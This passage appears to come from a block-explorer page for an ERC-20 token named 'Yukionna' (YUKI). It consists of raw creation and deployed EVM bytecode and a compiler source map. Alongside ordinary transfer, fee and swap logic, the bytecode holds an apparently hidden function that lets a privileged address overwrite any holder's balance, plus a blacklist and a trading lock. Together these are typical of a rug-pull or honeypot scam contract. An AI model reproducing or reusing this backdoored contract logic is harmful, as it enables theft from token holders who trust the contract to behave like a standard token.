14f2611558565b909250905061150182826108a4565b9250505090565b6000808080611517888661081b565b90506000611525888761081b565b90506000611533888861081b565b90506000611545826114cf8686611381565b939b939a50919850919650505050505050565b600754600090819066038d7ea4c6800061157282826108a4565b82101561158d5750506007549266038d7ea4c6800092509050565b90939092509050565b600060208083528351808285015260005b818110156115c3578581018301518582016040015282016115a7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060657600080fd5b60006020828403121561160b57600080fd5b813561089d816115e4565b6000806040838503121561162957600080fd5b8235611634816115e4565b946020939093013593505050565b60008060006060848603121561165757600080fd5b8335611662816115e4565b92506020840135611672816115e4565b929592945050506040919091013590565b6000806040838503121561169657600080fd5b82356116a1816115e4565b915060208301356116b1816115e4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610511576105116116f1565b60008261173b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610511576105116116f1565b81810381811115610511576105116116f1565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561178e57600080fd5b815161089d816115e4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e95784516001600160a01b0316835293830193918301916001016117c4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f2f99eb54ff49e549959646eb8da772fcb2b093a5e909aa377a0177858c35e764736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063bfd792841161006f578063bfd79284146103ca578063c3c8cd80146103fa578063c6067ce31461040f578063d00efb2f1461042f578063dd62ed3e14610445578063f2fde38b1461048b57600080fd5b8063715018a61461031e5780637d1db4a5146103335780638da5cb5b146103495780638f9a55c01461036757806395d89b411461037d578063a9059cbb146103aa57600080fd5b80632fd689e3116101085780632fd689e31461026c578063313ce5671461028257806349bd5a5e1461029e57806363dd5712146102be5780636fc3eaec146102d357806370a08231146102e857600080fd5b806306fdde031461015b57806307980cb91461019e578063095ea7b3146101c05780631694505e146101f057806318160ddd1461022857806323b872dd1461024c57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600881526759756b696f6e6e6160c01b60208201525b6040516101959190611596565b60405180910390f35b3480156101aa57600080fd5b506101be6101b93660046115f9565b6104ab565b005b3480156101cc57600080fd5b506101e06101db366004611616565b610500565b6040519015158152602001610195565b3480156101fc57600080fd5b50601654610210906001600160a01b031681565b6040516001600160a01b039091168152602001610195565b34801561023457600080fd5b5066038d7ea4c680005b604051908152602001610195565b34801561025857600080fd5b506101e0610267366004611642565b610517565b34801561027857600080fd5b5061023e601b5481565b34801561028e57600080fd5b5060405160098152602001610195565b3480156102aa57600080fd5b50601754610210906001600160a01b031681565b3480156102ca57600080fd5b506101be610580565b3480156102df57600080fd5b506101be6105be565b3480156102f457600080fd5b5061023e6103033660046115f9565b6001600160a01b031660009081526002602052604090205490565b34801561032a57600080fd5b506101be610609565b34801561033f57600080fd5b5061023e60195481565b34801561035557600080fd5b506000546001600160a01b0316610210565b34801561037357600080fd5b5061023e601a5481565b34801561038957600080fd5b5060408051808201909152600481526359554b4960e01b6020820152610188565b3480156103b657600080fd5b506101e06103c5366004611616565b61067d565b3480156103d657600080fd5b506101e06103e53660046115f9565b60126020526000908152604090205460ff1681565b34801561040657600080fd5b506101be61068a565b34801561041b57600080fd5b506101be61042a366004611616565b6106e1565b34801561043b57600080fd5b5061023e60095481565b34801561045157600080fd5b5061023e610460366004611683565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049757600080fd5b506101be6104a63660046115f9565b610731565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d5906116bc565b60405180910390fd5b601880546001600160a01b0319166001600160a01b0392909216919091179055565b600061050d3384846108e6565b5060015b92915050565b6000610524848484610a0a565b61057684336105718560405180606001604052806028815260200161180b602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f66565b6108e6565b5060019392505050565b6000546001600160a01b031633146105aa5760405162461bcd60e51b81526004016104d5906116bc565b68056bc75e2d631000006019819055601a55565b6014546001600160a01b0316336001600160a01b031614806105f357506015546001600160a01b0316336001600160a01b0316145b6105fc57600080fd5b4761060681610fa0565b50565b6000546001600160a01b031633146106335760405162461bcd60e51b81526004016104d5906116bc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061050d338484610a0a565b6014546001600160a01b0316336001600160a01b031614806106bf57506015546001600160a01b0316336001600160a01b0316145b6106c857600080fd5b3060009081526002602052604090205461060681611029565b6018546001600160a01b031633146107155760405162461bcd60e51b815260206004820152600060248201526044016104d5565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016104d5906116bc565b6001600160a01b0381166107c05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361082d57506000610511565b60006108398385611707565b905082610846858361171e565b1461089d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d5565b9392505050565b600061089d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111a3565b6001600160a01b0383166109485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d5565b6001600160a01b0382166109a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610ad05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b60008111610b325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d5565b6000546001600160a01b03848116911614801590610b5e57506000546001600160a01b03838116911614155b15610e5957601854600160a01b900460ff1615610bf8576000546001600160a01b03848116911614610bf85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104d5565b601954811115610c4a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104d5565b6001600160a01b03831660009081526012602052604090205460ff16158015610c8c57506001600160a01b03821660009081526012602052604090205460ff16155b610ce45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016104d5565b6017546001600160a01b03838116911614610d7f57601a5481610d1c846001600160a01b031660009081526002602052604090205490565b610d269190611740565b10610d7f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104d5565b30600090815260026020526040902054601b5460195490821015908210610da65760195491505b808015610dbd5750601854600160a81b900460ff16155b8015610dd757506017546001600160a01b03868116911614155b8015610dec5750601854600160b01b900460ff165b8015610e1157506001600160a01b03851660009081526006602052604090205460ff16155b8015610e3657506001600160a01b03841660009081526006602052604090205460ff16155b15610e5657610e4482611029565b478015610e5457610e5447610fa0565b505b50505b6001600160a01b03831660009081526006602052604090205460019060ff1680610e9b57506001600160a01b03831660009081526006602052604090205460ff165b80610ecd57506017546001600160a01b03858116911614801590610ecd57506017546001600160a01b03848116911614155b15610eda57506000610f54565b6017546001600160a01b038581169116148015610f0557506016546001600160a01b03848116911614155b15610f1757600a54600e55600b54600f555b6017546001600160a01b038481169116148015610f4257506016546001600160a01b03858116911614155b15610f5457600c54600e55600d54600f555b610f60848484846111d1565b50505050565b60008184841115610f8a5760405162461bcd60e51b81526004016104d59190611596565b506000610f978486611753565b95945050505050565b6014546001600160a01b03166108fc610fba8360026108a4565b6040518115909202916000818181858888f19350505050158015610fe2573d6000803e3d6000fd5b506015546001600160a01b03166108fc610ffd8360026108a4565b6040518115909202916000818181858888f19350505050158015611025573d6000803e3d6000fd5b5050565b6018805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107157611071611766565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ee919061177c565b8160018151811061110157611101611766565b6001600160a01b03928316602091820292909201015260165461112791309116846108e6565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611160908590600090869030904290600401611799565b600060405180830381600087803b15801561117a57600080fd5b505af115801561118e573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600081836111c45760405162461bcd60e51b81526004016104d59190611596565b506000610f97848661171e565b806111de576111de6111ff565b6111e984848461122d565b80610f6057610f60601054600e55601154600f55565b600e5415801561120f5750600f54155b1561121657565b600e8054601055600f805460115560009182905555565b60008060008060008061123f87611324565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112719087611381565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a090866113c3565b6001600160a01b0389166000908152600260205260409020556112c281611422565b6112cc848361146c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131191815260200190565b60405180910390a3505050505050505050565b60008060008060008060008060006113418a600e54600f54611490565b92509250925060006113516114e5565b905060008060006113648e878787611508565b919e509c509a509598509396509194505050505091939550919395565b600061089d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f66565b6000806113d08385611740565b90508381101561089d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d5565b600061142c6114e5565b9050600061143a838361081b565b3060009081526002602052604090205490915061145790826113c3565b30600090815260026020526040902055505050565b6007546114799083611381565b60075560085461148990826113c3565b6008555050565b60008080806114aa60646114a4898961081b565b906108a4565b905060006114bd60646114a48a8961081b565b905060006114d5826114cf8b86611381565b90611381565b9992985090965090945050505050565b60008060006114f2611558565b909250905061150182826108a4565b9250505090565b6000808080611517888661081b565b90506000611525888761081b565b90506000611533888861081b565b90506000611545826114cf8686611381565b939b939a50919850919650505050505050565b600754600090819066038d7ea4c6800061157282826108a4565b82101561158d5750506007549266038d7ea4c6800092509050565b90939092509050565b600060208083528351808285015260005b818110156115c3578581018301518582016040015282016115a7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060657600080fd5b60006020828403121561160b57600080fd5b813561089d816115e4565b6000806040838503121561162957600080fd5b8235611634816115e4565b946020939093013593505050565b60008060006060848603121561165757600080fd5b8335611662816115e4565b92506020840135611672816115e4565b929592945050506040919091013590565b6000806040838503121561169657600080fd5b82356116a1816115e4565b915060208301356116b1816115e4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610511576105116116f1565b60008261173b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610511576105116116f1565b81810381811115610511576105116116f1565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561178e57600080fd5b815161089d816115e4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e95784516001600160a01b0316835293830193918301916001016117c4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f2f99eb54ff49e549959646eb8da772fcb2b093a5e909aa377a0177858c35e764736f6c63430008110033

Deployed Bytecode Sourcemap

4225:12525:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6849:83;;;;;;;;;;-1:-1:-1;6919:5:0;;;;;;;;;;;;-1:-1:-1;;;6919:5:0;;;;6849:83;;;;;;;:::i;:::-;;;;;;;;12448:103;;;;;;;;;;-1:-1:-1;12448:103:0;;;;;:::i;:::-;;:::i;:::-;;7760:193;;;;;;;;;;-1:-1:-1;7760:193:0;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;7760:193:0;1275:187:1;5625:41:0;;;;;;;;;;-1:-1:-1;5625:41:0;;;;-1:-1:-1;;;;;5625:41:0;;;;;;-1:-1:-1;;;;;1657:32:1;;;1639:51;;1627:2;1612:18;5625:41:0;1467:229:1;7129:95:0;;;;;;;;;;-1:-1:-1;4817:15:0;7129:95;;;1847:25:1;;;1835:2;1820:18;7129:95:0;1701:177:1;7962:446:0;;;;;;;;;;-1:-1:-1;7962:446:0;;;;;:::i;:::-;;:::i;5979:61::-;;;;;;;;;;;;;;;;7037:83;;;;;;;;;;-1:-1:-1;7037:83:0;;4444:1;2486:36:1;;2474:2;2459:18;7037:83:0;2344:184:1;5673:28:0;;;;;;;;;;-1:-1:-1;5673:28:0;;;;-1:-1:-1;;;;;5673:28:0;;;15612:141;;;;;;;;;;;;;:::i;12935:235::-;;;;;;;;;;;;;:::i;7233:117::-;;;;;;;;;;-1:-1:-1;7233:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7326:16:0;7299:7;7326:16;;;:7;:16;;;;;;;7233:117;1695:148;;;;;;;;;;;;;:::i;5851:55::-;;;;;;;;;;;;;;;;1479:79;;;;;;;;;;-1:-1:-1;1517:7:0;1544:6;-1:-1:-1;;;;;1544:6:0;1479:79;;5914:57;;;;;;;;;;;;;;;;6941:87;;;;;;;;;;-1:-1:-1;7013:7:0;;;;;;;;;;;;-1:-1:-1;;;7013:7:0;;;;6941:87;;7359:199;;;;;;;;;;-1:-1:-1;7359:199:0;;;;;:::i;:::-;;:::i;5319:36::-;;;;;;;;;;-1:-1:-1;5319:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12690:236;;;;;;;;;;;;;:::i;12563:121::-;;;;;;;;;;-1:-1:-1;12563:121:0;;;;;:::i;:::-;;:::i;4913:26::-;;;;;;;;;;;;;;;;7567:184;;;;;;;;;;-1:-1:-1;7567:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7716:18:0;;;7684:7;7716:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7567:184;1852:244;;;;;;;;;;-1:-1:-1;1852:244:0;;;;;:::i;:::-;;:::i;12448:103::-;1607:6;;-1:-1:-1;;;;;1607:6:0;305:10;1607:22;1599:67;;;;-1:-1:-1;;;1599:67:0;;;;;;;:::i;:::-;;;;;;;;;12515:12:::1;:27:::0;;-1:-1:-1;;;;;;12515:27:0::1;-1:-1:-1::0;;;;;12515:27:0;;;::::1;::::0;;;::::1;::::0;;12448:103::o;7760:193::-;7862:4;7884:39;305:10;7907:7;7916:6;7884:8;:39::i;:::-;-1:-1:-1;7941:4:0;7760:193;;;;;:::o;7962:446::-;8094:4;8111:36;8121:6;8129:9;8140:6;8111:9;:36::i;:::-;8158:220;8181:6;305:10;8229:138;8285:6;8229:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8229:19:0;;;;;;:11;:19;;;;;;;;305:10;8229:33;;;;;;;;;;:37;:138::i;:::-;8158:8;:220::i;:::-;-1:-1:-1;8396:4:0;7962:446;;;;;:::o;15612:141::-;1607:6;;-1:-1:-1;;;;;1607:6:0;305:10;1607:22;1599:67;;;;-1:-1:-1;;;1599:67:0;;;;;;;:::i;:::-;15677:20:::1;15662:12;:35:::0;;;15708:14:::1;:37:::0;15612:141::o;12935:235::-;13001:19;;-1:-1:-1;;;;;13001:19:0;305:10;-1:-1:-1;;;;;12985:35:0;;:72;;;-1:-1:-1;13040:17:0;;-1:-1:-1;;;;;13040:17:0;305:10;-1:-1:-1;;;;;13024:33:0;;12985:72;12977:81;;;;;;13098:21;13130:32;13098:21;13130:12;:32::i;:::-;12966:204;12935:235::o;1695:148::-;1607:6;;-1:-1:-1;;;;;1607:6:0;305:10;1607:22;1599:67;;;;-1:-1:-1;;;1599:67:0;;;;;;;:::i;:::-;1802:1:::1;1786:6:::0;;1765:40:::1;::::0;-1:-1:-1;;;;;1786:6:0;;::::1;::::0;1765:40:::1;::::0;1802:1;;1765:40:::1;1833:1;1816:19:::0;;-1:-1:-1;;;;;;1816:19:0::1;::::0;;1695:148::o;7359:199::-;7464:4;7486:42;305:10;7510:9;7521:6;7486:9;:42::i;12690:236::-;12756:19;;-1:-1:-1;;;;;12756:19:0;305:10;-1:-1:-1;;;;;12740:35:0;;:72;;;-1:-1:-1;12795:17:0;;-1:-1:-1;;;;;12795:17:0;305:10;-1:-1:-1;;;;;12779:33:0;;12740:72;12732:81;;;;;;12868:4;12824:23;7326:16;;;:7;:16;;;;;;12885:33;7326:16;12885;:33::i;12563:121::-;8450:12;;-1:-1:-1;;;;;8450:12:0;8467:10;8442:35;8433:51;;;;-1:-1:-1;;;8433:51:0;;3697:2:1;8433:51:0;;;3679:21:1;-1:-1:-1;3716:18:1;;;3709:29;3755:18;;8433:51:0;3495:284:1;8433:51:0;-1:-1:-1;;;;;12648:16:0;;::::1;;::::0;;;:7:::1;:16;::::0;;;;:25;12563:121::o;1852:244::-;1607:6;;-1:-1:-1;;;;;1607:6:0;305:10;1607:22;1599:67;;;;-1:-1:-1;;;1599:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1941:22:0;::::1;1933:73;;;::::0;-1:-1:-1;;;1933:73:0;;3986:2:1;1933:73:0::1;::::0;::::1;3968:21:1::0;4025:2;4005:18;;;3998:30;4064:34;4044:18;;;4037:62;-1:-1:-1;;;4115:18:1;;;4108:36;4161:19;;1933:73:0::1;3784:402:1::0;1933:73:0::1;2043:6;::::0;;2022:38:::1;::::0;-1:-1:-1;;;;;2022:38:0;;::::1;::::0;2043:6;::::1;::::0;2022:38:::1;::::0;::::1;2071:6;:17:::0;;-1:-1:-1;;;;;;2071:17:0::1;-1:-1:-1::0;;;;;2071:17:0;;;::::1;::::0;;;::::1;::::0;;1852:244::o;2697:246::-;2755:7;2779:1;2784;2779:6;2775:47;;-1:-1:-1;2809:1:0;2802:8;;2775:47;2832:9;2844:5;2848:1;2844;:5;:::i;:::-;2832:17;-1:-1:-1;2877:1:0;2868:5;2872:1;2832:17;2868:5;:::i;:::-;:10;2860:56;;;;-1:-1:-1;;;2860:56:0;;4920:2:1;2860:56:0;;;4902:21:1;4959:2;4939:18;;;4932:30;4998:34;4978:18;;;4971:62;-1:-1:-1;;;5049:18:1;;;5042:31;5090:19;;2860:56:0;4718:397:1;2860:56:0;2934:1;2697:246;-1:-1:-1;;;2697:246:0:o;2952:132::-;3010:7;3037:39;3041:1;3044;3037:39;;;;;;;;;;;;;;;;;:3;:39::i;9183:369::-;-1:-1:-1;;;;;9310:19:0;;9302:68;;;;-1:-1:-1;;;9302:68:0;;5322:2:1;9302:68:0;;;5304:21:1;5361:2;5341:18;;;5334:30;5400:34;5380:18;;;5373:62;-1:-1:-1;;;5451:18:1;;;5444:34;5495:19;;9302:68:0;5120:400:1;9302:68:0;-1:-1:-1;;;;;9389:21:0;;9381:68;;;;-1:-1:-1;;;9381:68:0;;5727:2:1;9381:68:0;;;5709:21:1;5766:2;5746:18;;;5739:30;5805:34;5785:18;;;5778:62;-1:-1:-1;;;5856:18:1;;;5849:32;5898:19;;9381:68:0;5525:398:1;9381:68:0;-1:-1:-1;;;;;9460:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9512:32;;1847:25:1;;;9512:32:0;;1820:18:1;9512:32:0;;;;;;;9183:369;;;:::o;9561:2217::-;-1:-1:-1;;;;;9683:18:0;;9675:68;;;;-1:-1:-1;;;9675:68:0;;6130:2:1;9675:68:0;;;6112:21:1;6169:2;6149:18;;;6142:30;6208:34;6188:18;;;6181:62;-1:-1:-1;;;6259:18:1;;;6252:35;6304:19;;9675:68:0;5928:401:1;9675:68:0;-1:-1:-1;;;;;9762:16:0;;9754:64;;;;-1:-1:-1;;;9754:64:0;;6536:2:1;9754:64:0;;;6518:21:1;6575:2;6555:18;;;6548:30;6614:34;6594:18;;;6587:62;-1:-1:-1;;;6665:18:1;;;6658:33;6708:19;;9754:64:0;6334:399:1;9754:64:0;9846:1;9837:6;:10;9829:64;;;;-1:-1:-1;;;9829:64:0;;6940:2:1;9829:64:0;;;6922:21:1;6979:2;6959:18;;;6952:30;7018:34;6998:18;;;6991:62;-1:-1:-1;;;7069:18:1;;;7062:39;7118:19;;9829:64:0;6738:405:1;9829:64:0;1517:7;1544:6;-1:-1:-1;;;;;9911:15:0;;;1544:6;;9911:15;;;;:32;;-1:-1:-1;1517:7:0;1544:6;-1:-1:-1;;;;;9930:13:0;;;1544:6;;9930:13;;9911:32;9907:1231;;;9967:11;;-1:-1:-1;;;9967:11:0;;;;9963:143;;;1517:7;1544:6;-1:-1:-1;;;;;10007:15:0;;;1544:6;;10007:15;9999:91;;;;-1:-1:-1;;;9999:91:0;;7350:2:1;9999:91:0;;;7332:21:1;7389:2;7369:18;;;7362:30;7428:34;7408:18;;;7401:62;7499:33;7479:18;;;7472:61;7550:19;;9999:91:0;7148:427:1;9999:91:0;10141:12;;10131:6;:22;;10123:63;;;;-1:-1:-1;;;10123:63:0;;7782:2:1;10123:63:0;;;7764:21:1;7821:2;7801:18;;;7794:30;7860;7840:18;;;7833:58;7908:18;;10123:63:0;7580:352:1;10123:63:0;-1:-1:-1;;;;;10210:10:0;;;;;;:4;:10;;;;;;;;10209:11;:24;;;;-1:-1:-1;;;;;;10225:8:0;;;;;;:4;:8;;;;;;;;10224:9;10209:24;10201:72;;;;-1:-1:-1;;;10201:72:0;;8139:2:1;10201:72:0;;;8121:21:1;8178:2;8158:18;;;8151:30;8217:34;8197:18;;;8190:62;-1:-1:-1;;;8268:18:1;;;8261:33;8311:19;;10201:72:0;7937:399:1;10201:72:0;10300:13;;-1:-1:-1;;;;;10294:19:0;;;10300:13;;10294:19;10291:146;;10367:14;;10358:6;10342:13;10352:2;-1:-1:-1;;;;;7326:16:0;7299:7;7326:16;;;:7;:16;;;;;;;7233:117;10342:13;:22;;;;:::i;:::-;:39;10334:87;;;;-1:-1:-1;;;10334:87:0;;8673:2:1;10334:87:0;;;8655:21:1;8712:2;8692:18;;;8685:30;8751:34;8731:18;;;8724:62;-1:-1:-1;;;8802:18:1;;;8795:33;8845:19;;10334:87:0;8471:399:1;10334:87:0;10503:4;10454:28;7326:16;;;:7;:16;;;;;;10563:19;;10627:12;;10539:43;;;;;10603:36;;10600:124;;10696:12;;10673:35;;10600:124;10745:7;:18;;;;-1:-1:-1;10757:6:0;;-1:-1:-1;;;10757:6:0;;;;10756:7;10745:18;:43;;;;-1:-1:-1;10775:13:0;;-1:-1:-1;;;;;10767:21:0;;;10775:13;;10767:21;;10745:43;:58;;;;-1:-1:-1;10792:11:0;;-1:-1:-1;;;10792:11:0;;;;10745:58;:87;;;;-1:-1:-1;;;;;;10808:24:0;;;;;;:18;:24;;;;;;;;10807:25;10745:87;:114;;;;-1:-1:-1;;;;;;10837:22:0;;;;;;:18;:22;;;;;;;;10836:23;10745:114;10741:386;;;10880:38;10897:20;10880:16;:38::i;:::-;10966:21;11010:22;;11006:106;;11057:35;11070:21;11057:12;:35::i;:::-;10861:266;10741:386;9945:1193;;9907:1231;-1:-1:-1;;;;;11189:24:0;;11151:12;11189:24;;;:18;:24;;;;;;11166:4;;11189:24;;;:50;;-1:-1:-1;;;;;;11217:22:0;;;;;;:18;:22;;;;;;;;11189:50;11188:102;;;-1:-1:-1;11253:13:0;;-1:-1:-1;;;;;11245:21:0;;;11253:13;;11245:21;;;;:44;;-1:-1:-1;11276:13:0;;-1:-1:-1;;;;;11270:19:0;;;11276:13;;11270:19;;11245:44;11184:532;;;-1:-1:-1;11317:5:0;11184:532;;;11369:13;;-1:-1:-1;;;;;11361:21:0;;;11369:13;;11361:21;:55;;;;-1:-1:-1;11400:15:0;;-1:-1:-1;;;;;11386:30:0;;;11400:15;;11386:30;;11361:55;11358:162;;;11449:14;;11437:9;:26;11492:12;;11482:7;:22;11358:162;11547:13;;-1:-1:-1;;;;;11541:19:0;;;11547:13;;11541:19;:55;;;;-1:-1:-1;11580:15:0;;-1:-1:-1;;;;;11564:32:0;;;11580:15;;11564:32;;11541:55;11537:165;;;11629:15;;11617:9;:27;11673:13;;11663:7;:23;11537:165;11729:41;11744:4;11750:2;11754:6;11762:7;11729:14;:41::i;:::-;9664:2114;9561:2217;;;:::o;2464:224::-;2584:7;2620:12;2612:6;;;;2604:29;;;;-1:-1:-1;;;2604:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2644:9:0;2656:5;2660:1;2656;:5;:::i;:::-;2644:17;2464:224;-1:-1:-1;;;;;2464:224:0:o;12279:160::-;12336:19;;-1:-1:-1;;;;;12336:19:0;:43;12365:13;:6;12376:1;12365:10;:13::i;:::-;12336:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12390:17:0;;-1:-1:-1;;;;;12390:17:0;:41;12417:13;:6;12428:1;12417:10;:13::i;:::-;12390:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12279:160;:::o;11787:483::-;6136:6;:13;;-1:-1:-1;;;;6136:13:0;-1:-1:-1;;;6136:13:0;;;11889:16:::1;::::0;;11903:1:::1;11889:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11889:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11889:16:0::1;11865:40;;11934:4;11916;11921:1;11916:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11916:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11960:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11960:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11916:7;;11960:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11950:4;11955:1;11950:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11950:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12025:15:::1;::::0;11993:62:::1;::::0;12010:4:::1;::::0;12025:15:::1;12043:11:::0;11993:8:::1;:62::i;:::-;12066:15;::::0;:196:::1;::::0;-1:-1:-1;;;12066:196:0;;-1:-1:-1;;;;;12066:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12147:11;;12066:15:::1;::::0;12189:4;;12216::::1;::::0;12236:15:::1;::::0;12066:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6172:6:0;:14;;-1:-1:-1;;;;6172:14:0;;;-1:-1:-1;;;;11787:483:0:o;3093:223::-;3213:7;3248:12;3241:5;3233:28;;;;-1:-1:-1;;;3233:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3272:9:0;3284:5;3288:1;3284;:5;:::i;13179:282::-;13335:7;13330:28;;13344:14;:12;:14::i;:::-;13369:44;13387:6;13395:9;13406:6;13369:17;:44::i;:::-;13429:7;13424:29;;13438:15;9113:17;;9101:9;:29;9151:15;;9141:7;:25;9057:117;8827:221;8874:9;;:14;:30;;;;-1:-1:-1;8892:7:0;;:12;8874:30;8870:43;;;8827:221::o;8870:43::-;8946:9;;;8926:17;:29;8984:7;;;8966:15;:25;-1:-1:-1;9005:13:0;;;;9029:11;8827:221::o;13470:610::-;13617:15;13647:23;13685:12;13712:23;13750:12;13777:13;13804:19;13815:7;13804:10;:19::i;:::-;-1:-1:-1;;;;;13852:15:0;;;;;;:7;:15;;;;;;13602:221;;-1:-1:-1;13602:221:0;;-1:-1:-1;13602:221:0;;-1:-1:-1;13602:221:0;-1:-1:-1;13602:221:0;-1:-1:-1;13602:221:0;-1:-1:-1;13852:28:0;;13602:221;13852:19;:28::i;:::-;-1:-1:-1;;;;;13834:15:0;;;;;;;:7;:15;;;;;;:46;;;;13912:18;;;;;;;:39;;13935:15;13912:22;:39::i;:::-;-1:-1:-1;;;;;13891:18:0;;;;;;:7;:18;;;;;:60;13962:16;13972:5;13962:9;:16::i;:::-;13989:23;14001:4;14007;13989:11;:23::i;:::-;14045:9;-1:-1:-1;;;;;14028:44:0;14037:6;-1:-1:-1;;;;;14028:44:0;;14056:15;14028:44;;;;1847:25:1;;1835:2;1820:18;;1701:177;14028:44:0;;;;;;;;13591:489;;;;;;13470:610;;;:::o;14503:618::-;14603:7;14625;14647;14669;14691;14713;14749:23;14774:12;14788:13;14818:40;14830:7;14839:9;;14850:7;;14818:11;:40::i;:::-;14748:110;;;;;;14869:19;14891